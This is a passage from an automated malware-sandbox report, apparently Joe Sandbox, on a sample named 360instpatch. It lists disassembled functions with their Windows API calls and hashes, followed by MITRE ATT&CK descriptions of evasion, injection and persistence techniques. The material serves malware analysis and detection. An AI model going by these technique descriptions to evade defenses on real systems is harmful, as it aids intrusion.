Opcode Fuzzy Hash: 81d0043212187da8b5ff86613622e1cff8a90f9dc3b97e6e86ac3aba1666a9f7
Instruction Fuzzy Hash: 1ED0123376420ABBDB004AB4CA08B277AD8EB56B06F50C8A9B456C20B1D7B9C415F671

Function 6BF2FE51 Relevance: 1.5, APIs: 1, Instructions: 14networkCOMMON

Download Yara Rule

APIs

connect.WS2_32(?,00000000,00000000), ref: 6BF2FE6A

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: connect
String ID:
API String ID: 1959786783-0
Opcode ID: dfd5ab7d5096a0d6900545522bc6de494c3042ca87cffb59bf81b50bdc5bdf2d
Instruction ID: 6f16a2cf02b08780c1190ae8458e18a03bec76f08e9ba485e08e066056f2722a
Opcode Fuzzy Hash: dfd5ab7d5096a0d6900545522bc6de494c3042ca87cffb59bf81b50bdc5bdf2d
Instruction Fuzzy Hash: 1AD0177A210100EFC7058B60C894A997BA2BF5D325F20829DF16A8A1B2C332C8A2DF00

Function 6BEFAF8A Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(000000FF,6BF0FE4F,?,00000001,00000000,00000000,00000000,000000FF,00000001,6BFCC288,00000000), ref: 6BEFAF8E

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 3b6fbae0666f7923087b658a221dc0afea89c3953492fa8b08b43c929d4678fa
Instruction ID: a10af4ac43596d4e4bbfd64183e77d69033c14fa68dba9eabc9241ecc6249d62
Opcode Fuzzy Hash: 3b6fbae0666f7923087b658a221dc0afea89c3953492fa8b08b43c929d4678fa
Instruction Fuzzy Hash: D6C04CB2965500599B401935890555637759E9223EF651AE0E4B5C81E4DB2488677504

Function 6BF2FF58 Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,00000000,00000000,00000000,00000000), ref: 6BF2FF6B

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: setsockopt
String ID:
API String ID: 3981526788-0
Opcode ID: 3826b94916cf5a184cdd24229d58e7c5d6d4fcbe5318a347104a69da5cdb92dd
Instruction ID: 19ffae4c5a8adfa9afe0688f3d040211256110461b29ac7ec2fbe4ec959da813
Opcode Fuzzy Hash: 3826b94916cf5a184cdd24229d58e7c5d6d4fcbe5318a347104a69da5cdb92dd
Instruction Fuzzy Hash: 1DD0E93B114101BFCB065B648C5594EBBA6AF99321F14CA5DB2B6840B1D732C475FB01

Function 6BEE9117 Relevance: 1.5, APIs: 1, Instructions: 11COMMONLIBRARYCODE

Download Yara Rule

APIs

_strlen.LIBCMT ref: 6BEE911E

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: a8c53de5adced89965e52f98c0a126613ea920f9b46e35beb2a653053dbaa6f3
Instruction ID: c8deb467a16c8a456bea41ea5ead4481be450233ec4bf6aee4e14508d89bc1dd
Opcode Fuzzy Hash: a8c53de5adced89965e52f98c0a126613ea920f9b46e35beb2a653053dbaa6f3
Instruction Fuzzy Hash: D2C08C720082202A45292220980186FAA06CB80130B10880EB844053208B398C9191A5

Function 6BEED55B Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 6BEED562

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: _wcslen
String ID:
API String ID: 176396367-0
Opcode ID: 194c73b0549b6e96b3488b5d9baabecc9fefa26f4ada6e88ffcff381e67bc41f
Instruction ID: f0205fa1237c0983a03968eb1ef21ea5ecd77f2a6b2d0281ff998daed63b359c
Opcode Fuzzy Hash: 194c73b0549b6e96b3488b5d9baabecc9fefa26f4ada6e88ffcff381e67bc41f
Instruction Fuzzy Hash: 9DC08CB60042202A462512309801C6FAA05CBA0130B00C80EBC44412209A3E9C9281A1

Function 00B86B56 Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(00000002,00B48D5A,00000000,?,00B86919,FFFFFEE2,00000002,?,00000000,00000000,00000748,00B86A2D,?,00000000,00000000), ref: 00B86B71

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: b2d343fcbda46c3414a56192f9831755b3eb5f5bd52d689c608aa3240720e80d
Instruction ID: f0c50ffe7ad6e8fb23941d0c0b7a97398168f501ba96fbba0a0ca5b9f915fad8
Opcode Fuzzy Hash: b2d343fcbda46c3414a56192f9831755b3eb5f5bd52d689c608aa3240720e80d
Instruction Fuzzy Hash: 3AC01231004200FADA112B20DD02F197FA1BF64728F10C654B564D10F0DB32C421D705

Function 6CDE23D1 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

__wfsopen.LIBCMT ref: 6CDE23DE

Memory Dump Source

Source File: 00000008.00000002.4120199942.000000006CD21000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CD20000, based on PE: true

Associated: 00000008.00000002.4120169906.000000006CD20000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120288463.000000006CE05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120321049.000000006CE29000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE2B000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE30000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE4B000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE4F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120454362.000000006CE50000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120497160.000000006CE56000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6cd20000_360instpatch.jbxd

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: d1a4d26266dcb7911ef956bf4afcad96e19892d5a9e8770749e386b2bd63db79
Instruction ID: 2d9d6a049a462e44e17bc1ee65ad86176d53c38cc89887d2fb2ec8490f67d059
Opcode Fuzzy Hash: d1a4d26266dcb7911ef956bf4afcad96e19892d5a9e8770749e386b2bd63db79
Instruction Fuzzy Hash: 87C092B244420C77CF111A82EC06E8A3F1A9BD4668F058020FB1C19670AA73EA659AA9

Function 6BF2FEC7 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32(?,?,?), ref: 6BF2FED2

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: ioctlsocket
String ID:
API String ID: 3577187118-0
Opcode ID: 9cabc97c80fe240f8d6f044525bd3de8fa8dae014d8d247d96f7c6984bd27f13
Instruction ID: 5f1a80f7b618c9765d4a36eb347988cffcef1dfc7f1123869a599f8e78f02bbd
Opcode Fuzzy Hash: 9cabc97c80fe240f8d6f044525bd3de8fa8dae014d8d247d96f7c6984bd27f13
Instruction Fuzzy Hash: 77C08C3B114001ABCB050B20CC0888EBE61BF59320B20C65CB0A6C00F0C332C4B1EB00

Function 6CD2846A Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(6CD89C7E,00000000,?,?,?), ref: 6CD2847C

Memory Dump Source

Source File: 00000008.00000002.4120199942.000000006CD21000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CD20000, based on PE: true

Associated: 00000008.00000002.4120169906.000000006CD20000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120288463.000000006CE05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120321049.000000006CE29000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE2B000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE30000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE4B000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE4F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120454362.000000006CE50000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120497160.000000006CE56000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6cd20000_360instpatch.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 42188f035766040b14941c688ab0973e6a116f7b25ca0360455ff2aa59ba4c53
Instruction ID: c27c32251c5a1589047d994ce2fb9f9906fc827b15887cf080fa363b9fe90491
Opcode Fuzzy Hash: 42188f035766040b14941c688ab0973e6a116f7b25ca0360455ff2aa59ba4c53
Instruction Fuzzy Hash: 12C0013A108200FFCE024B80C904C0ABFB2BB99325B10C84CF2A90803183338432EF52

Function 6BEEA564 Relevance: 1.5, APIs: 1, Instructions: 7threadCOMMON

Download Yara Rule

APIs

FreeLibraryAndExitThread.KERNEL32(6BEE0000,00000000,6BEEA86A), ref: 6BEEA570

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: ExitFreeLibraryThread
String ID:
API String ID: 4122534561-0
Opcode ID: 8300f104dfc158ec2273089e7ec4c8ec4ecf2fe5061392b1722186bb1913ebaa
Instruction ID: 6c3dd56ae423b20750eaa2cc6e5b356a3de6cbfdd9afa4f68efc705da7800fbe
Opcode Fuzzy Hash: 8300f104dfc158ec2273089e7ec4c8ec4ecf2fe5061392b1722186bb1913ebaa
Instruction Fuzzy Hash: 80B01230F6020197EE109E348C09F213AB8B712751F20C0C47000E2190D724E11CCD30

Function 00B467D0 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,000007E9,?,?), ref: 00B467E0

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 351c7a1d1f65b2552683aba4f53bf96fa87a33f8bcd2a7ed6956fcbb3ced9b3f
Instruction ID: df361ea30801ecf53986cd32e97f7eadf339e912f0eb3e5b74b248e53850b133
Opcode Fuzzy Hash: 351c7a1d1f65b2552683aba4f53bf96fa87a33f8bcd2a7ed6956fcbb3ced9b3f
Instruction Fuzzy Hash: 0EB0923A909281FFCA029B60CD09C8EBE72BBA8384F008449B28815070C63280B0EF02

Function 00B329D7 Relevance: 1.3, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000018), ref: 00B329E6

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 483d73001bc466ad1c44b1a2bf429b592d4eb630cc95fbc2a31fb5d1e165e6b0
Instruction ID: e51e519a14ab2f93491e63fcb3077a860436d6f12445af45c6189a35ac17c9ac
Opcode Fuzzy Hash: 483d73001bc466ad1c44b1a2bf429b592d4eb630cc95fbc2a31fb5d1e165e6b0
Instruction Fuzzy Hash: 44D0C935108100FFCB015BB89D4582A7BE6EB88330FB08F68F576C20A0CB35CC10AB12

Function 00B56959 Relevance: 1.3, APIs: 1, Instructions: 13COMMONLIBRARYCODE

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,00B569EF,00B568D3,00000000,00000000,00000001,00000000,00000000,?,00000000,00000000,?,00B574F6,?,&pid=), ref: 00B5696A

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: d1ae4bb288b29075e621f036a6517307691bd47df156d8828cede8c4fa0124f6
Instruction ID: 510025b6ba8296328a8a40b2aa14aa137d2dd558fd9b9c1d7863a82ea857af9d
Opcode Fuzzy Hash: d1ae4bb288b29075e621f036a6517307691bd47df156d8828cede8c4fa0124f6
Instruction Fuzzy Hash: 17D0A7710007018BC7304F24E508752B7F8AF04B36F244B4DA4B6C35D1C7B0E8448B54

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.
Tactics:	Defense Evasion, Persistence
Data Sources:	Drive: Drive Modification
Platforms:	Linux, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
